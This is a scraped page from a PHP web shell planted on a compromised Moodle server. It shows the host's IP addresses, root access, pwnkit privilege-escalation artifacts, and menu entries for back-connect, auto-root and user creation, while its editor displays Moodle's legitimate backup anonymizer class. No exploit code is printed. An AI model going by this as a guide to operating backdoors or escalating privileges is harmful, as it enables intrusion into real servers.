Linux vmi284606.contaboserver.net 4.15.0-213-generic #224-Ubuntu SMP Mon Jun 19 13:30:12 UTC 2023 x86_64
Apache/2.4.57 (Ubuntu)
: 167.86.127.34 | : 216.73.217.31
Cant Read [ /etc/named.conf ]
7.2.24-0ubuntu0.18.04.17
root
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
README
+ Create Folder
+ Create File
/
var /
www /
html /
moodle /
backup /
util /
helper /
[ HOME SHELL ]
Name
Size
Permission
Action
.pkexec
[ DIR ]
drwxr-xr-x
GCONV_PATH=.
[ DIR ]
drwxr-xr-x
tests
[ DIR ]
drwxrwxrwx
.mad-root
0
B
-rw-r--r--
async_helper.class.php
13.07
KB
-rwxrwxrwx
backup_anonymizer_helper.class...
6.69
KB
-rwxrwxrwx
backup_array_iterator.class.ph...
1.86
KB
-rwxrwxrwx
backup_cron_helper.class.php
31.98
KB
-rwxrwxrwx
backup_file_manager.class.php
3.44
KB
-rwxrwxrwx
backup_general_helper.class.ph...
13.83
KB
-rwxrwxrwx
backup_helper.class.php
15.7
KB
-rwxrwxrwx
backup_null_iterator.class.php
1.59
KB
-rwxrwxrwx
convert_helper.class.php
14.09
KB
-rwxrwxrwx
pwnkit
10.99
KB
-rwxr-xr-x
restore_decode_content.class.p...
4.98
KB
-rwxrwxrwx
restore_decode_processor.class...
6.73
KB
-rwxrwxrwx
restore_decode_rule.class.php
8.35
KB
-rwxrwxrwx
restore_inforef_parser_process...
2.22
KB
-rwxrwxrwx
restore_log_rule.class.php
9.82
KB
-rwxrwxrwx
restore_logs_processor.class.p...
5.74
KB
-rwxrwxrwx
restore_moodlexml_parser_proce...
2.27
KB
-rwxrwxrwx
restore_prechecks_helper.class...
9.56
KB
-rwxrwxrwx
restore_questions_parser_proce...
3.5
KB
-rwxrwxrwx
restore_roles_parser_processor...
2.54
KB
-rwxrwxrwx
restore_structure_parser_proce...
4.83
KB
-rwxrwxrwx
restore_users_parser_processor...
3.24
KB
-rwxrwxrwx
Delete
Unzip
Zip
${this.title}
Close
Code Editor : backup_anonymizer_helper.class.php
<?php // This file is part of Moodle - http://moodle.org/ // // Moodle is free software: you can redistribute it and/or modify // it under the terms of the GNU General Public License as published by // the Free Software Foundation, either version 3 of the License, or // (at your option) any later version. // // Moodle is distributed in the hope that it will be useful, // but WITHOUT ANY WARRANTY; without even the implied warranty of // MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the // GNU General Public License for more details. // // You should have received a copy of the GNU General Public License // along with Moodle. If not, see <http://www.gnu.org/licenses/>. /** * @package moodlecore * @subpackage backup-helper * @copyright 2010 onwards Eloy Lafuente (stronk7) {@link http://stronk7.com} * @license http://www.gnu.org/copyleft/gpl.html GNU GPL v3 or later */ /** * Helper class for anonymization of data * * This functions includes a collection of methods that are invoked * from the backup process when anonymization services have been * requested. * * The name of each method must be "process_parentname_name", as defined * byt the @anonymizer_final_element final element class, where * parentname is the name ob the parent tag and name the name of the tag * contents to be anonymized (i.e. process_user_username) with one param * being the value to anonymize. * * Note: current implementation of anonymization is pretty simple, just some * sequential values are used. If we want more elaborated generation, it * can be replaced later (using generators or wathever). Don't forget we must * ensure some fields (username, idnumber, email) are unique always. * * TODO: Improve to use more advanced anonymization * * TODO: Finish phpdocs */ class backup_anonymizer_helper { /** * Determine if the given user is an 'anonymous' user, based on their username, firstname, lastname * and email address. * @param stdClass $user the user record to test * @return bool true if this is an 'anonymous' user */ public static function is_anonymous_user($user) { if (preg_match('/^anon\d*$/', $user->username)) { $match = preg_match('/^anonfirstname\d*$/', $user->firstname); $match = $match && preg_match('/^anonlastname\d*$/', $user->lastname); // Check .com for backwards compatibility. $emailmatch = preg_match('/^anon\d*@doesntexist\.com$/', $user->email) || preg_match('/^anon\d*@doesntexist\.invalid$/', $user->email); if ($match && $emailmatch) { return true; } } return false; } public static function process_user_auth($value) { return 'manual'; // Set them to manual always } public static function process_user_username($value) { static $counter = 0; $counter++; return 'anon' . $counter; // Just a counter } public static function process_user_idnumber($value) { return ''; // Just blank it } public static function process_user_firstname($value) { static $counter = 0; $counter++; return 'anonfirstname' . $counter; // Just a counter } public static function process_user_lastname($value) { static $counter = 0; $counter++; return 'anonlastname' . $counter; // Just a counter } public static function process_user_email($value) { static $counter = 0; $counter++; return 'anon' . $counter . '@doesntexist.invalid'; // Just a counter. } public static function process_user_icq($value) { return ''; // Clean icq } public static function process_user_skype($value) { return ''; // Clean skype } public static function process_user_yahoo($value) { return ''; // Clean yahoo } public static function process_user_aim($value) { return ''; // Clean aim } public static function process_user_msn($value) { return ''; // Clean msn } public static function process_user_phone1($value) { return ''; // Clean phone1 } public static function process_user_phone2($value) { return ''; // Clean phone2 } public static function process_user_institution($value) { return ''; // Clean institution } public static function process_user_department($value) { return ''; // Clean department } public static function process_user_address($value) { return ''; // Clean address } public static function process_user_city($value) { return 'Perth'; // Set city } public static function process_user_country($value) { return 'AU'; // Set country } public static function process_user_lastip($value) { return '127.0.0.1'; // Set lastip to localhost } public static function process_user_picture($value) { return 0; // No picture } public static function process_user_url($value) { return ''; // No url } public static function process_user_description($value) { return ''; // No user description } public static function process_user_descriptionformat($value) { return 0; // Format moodle } public static function process_user_imagealt($value) { return ''; // No user imagealt } /** * Anonymises user's phonetic name field * @param string $value value of the user field * @return string anonymised phonetic name */ public static function process_user_firstnamephonetic($value) { static $counter = 0; $counter++; return 'anonfirstnamephonetic' . $counter; // Just a counter. } /** * Anonymises user's phonetic last name field * @param string $value value of the user field * @return string anonymised last phonetic name */ public static function process_user_lastnamephonetic($value) { static $counter = 0; $counter++; return 'anonlastnamephonetic' . $counter; // Just a counter. } /** * Anonymises user's middle name field * @param string $value value of the user field * @return string anonymised middle name */ public static function process_user_middlename($value) { static $counter = 0; $counter++; return 'anonmiddlename' . $counter; // Just a counter. } /** * Anonymises user's alternate name field * @param string $value value of the user field * @return string anonymised alternate name */ public static function process_user_alternatename($value) { static $counter = 0; $counter++; return 'anonalternatename' . $counter; // Just a counter. } }
Close